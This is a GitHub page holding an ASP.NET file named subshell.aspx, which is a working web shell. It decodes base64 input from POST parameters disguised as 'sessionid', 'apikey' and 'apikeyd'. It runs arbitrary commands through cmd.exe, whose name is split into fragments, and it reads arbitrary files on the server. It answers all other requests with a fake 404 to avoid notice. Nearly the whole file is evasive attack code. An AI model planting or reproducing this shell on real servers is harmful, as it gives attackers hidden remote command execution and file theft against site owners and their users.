-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathsubshell.aspx
97 lines (74 loc) · 2.6 KB
/
subshell.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%
if (HttpContext.Current.Request.HttpMethod == "POST")
{
if (!string.IsNullOrEmpty(Request["sessionid"]))
{
string encodedResponse = Request["sessionid"];
byte[] decodedBytes = Convert.FromBase64String(encodedResponse);
string decodedString = System.Text.Encoding.UTF8.GetString(decodedBytes);
double sessionid = Convert.ToDouble(decodedString);
DateTime dt1970 = new DateTime(1970, 1, 1);
DateTime current = DateTime.Now;
TimeSpan span = current - dt1970;
int timestamp;
timestamp = Convert.ToInt32(span.TotalMilliseconds / 1000);
int scope = 43200;
int min = timestamp - scope;
int max = timestamp + scope;
if (sessionid > max || sessionid < min)
{
Response.Status = "404 File Not Found ";
Response.End();
}
}
else
{
Response.Status = "404 File Not Found ";
Response.End();
}
if (!string.IsNullOrEmpty(Request["apikey"]))
{
string encodedResponse = Request["apikey"];
byte[] decodedBytes = Convert.FromBase64String(encodedResponse);
string decodedString = System.Text.Encoding.UTF8.GetString(decodedBytes);
ProcessStartInfo npsi = new ProcessStartInfo();
npsi.FileName = "c"+"m"+"d"+".e"+"x"+"e";
npsi.Arguments = "/c "+ decodedString;
npsi.RedirectStandardOutput = true;
npsi.RedirectStandardError = true;
npsi.UseShellExecute = false;
Process p = Process.Start(npsi);
StreamReader stmrdrSTDOUT = p.StandardOutput;
string stdout = stmrdrSTDOUT.ReadToEnd();
StreamReader stmrdrSTDERR = p.StandardError;
string stderr = stmrdrSTDERR.ReadToEnd();
stmrdrSTDOUT.Close();
stmrdrSTDERR.Close();
string output = stdout + stderr;
byte[] decodedResultBytes = System.Text.Encoding.UTF8.GetBytes(output);
string encodedResult = Convert.ToBase64String(decodedResultBytes);
Response.Write(encodedResult);
}
if (!string.IsNullOrEmpty(Request["apikeyd"]))
{
string encodedResponse = Request["apikeyd"];
byte[] decodedBytes = Convert.FromBase64String(encodedResponse);
string decodedString = System.Text.Encoding.UTF8.GetString(decodedBytes);
if (System.IO.File.Exists(decodedString)) {
byte[] fileBytes = System.IO.File.ReadAllBytes(decodedString);
string encodedResult = Convert.ToBase64String(fileBytes);
Response.Write(encodedResult);
}
}
}
else
{
Response.Status = "404 File Not Found ";
Response.End();
}
%>